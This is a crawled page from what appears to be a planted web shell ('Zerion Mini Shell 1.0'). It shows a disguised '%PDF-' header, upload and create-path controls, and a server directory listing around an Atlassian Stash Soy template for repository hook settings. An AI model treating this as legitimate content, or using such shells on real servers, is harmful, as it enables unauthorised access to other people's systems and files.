%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/home/stash/atlassian-stash/static/page/repository/settings/hooks/
Upload File :
Create Path :
Current File : //data/old/home/stash/atlassian-stash/static/page/repository/settings/hooks/repository-hooks.soy

{namespace stash.page}

/**
 * @param repository
 * @param dataAttributes
 * @param preReceiveHookPage
 * @param postReceiveHookPage
 */
{template .repositoryHookSettings}
    {webResourceManager_requireResourcesForContext('stash.page.repository.settings.hooks')}
    {call stash.layout.repositorySettings}
        {{param windowTitle: getText('stash.web.repository.settings.hooks', $repository.project.name, $repository.name) /}}
        {param repository: $repository /}
        {param dataAttributes: $dataAttributes /}
        {param activeSettingsTab: 'repository-settings-hooks' /}
        {param content}
            {call widget.aui.pageHeader}
                {param content}
                    <h2 class="hook-title-main">{getText('stash.web.repository.settings.hooks.title')}</h2>
                    {call aui.buttons.button}
                        {param text: getText('stash.web.repository.settings.hooks.addhook')/}
                        {param extraClasses: 'add-hook-button' /}
                    {/call}
                {/param}
                {param actionListContent}
                    <a href="{cav_help_url('stash.help.repository.settings.hooks.guide')}" target="_blank">{getText('stash.web.repository.settings.hooks.learn.more')}</a>
                {/param}
            {/call}
            <p>{getText('stash.web.repository.settings.hooks.description')}
            </p>

            {call stash.feature.repository.hookList}
                {param id: 'pre-receive-hook-table' /}
                {param page: $preReceiveHookPage /}
                {param title: getText('stash.web.repository.settings.hooks.pre-receive.title') /}
                {param description: getText('stash.web.repository.settings.hooks.pre-receive.description') /}
                {param descriptionLong: getText('stash.web.repository.settings.hooks.pre-receive.description-long') /}
            {/call}

            {call stash.feature.repository.hookList}
                {param id: 'post-receive-hook-table' /}
                {param page: $postReceiveHookPage /}
                {param title: getText('stash.web.repository.settings.hooks.post-receive.title') /}
                {param description: getText('stash.web.repository.settings.hooks.post-receive.description') /}
                {param descriptionLong: getText('stash.web.repository.settings.hooks.post-receive.description-long') /}
            {/call}
        {/param}
        {param pageBottomContent}
            <script>
                require('page/repository/hooks').onReady({to_json($preReceiveHookPage)|noAutoescape}, {to_json($postReceiveHookPage)|noAutoescape});
            </script>
        {/param}
    {/call}
{/template}

Zerion Mini Shell 1.0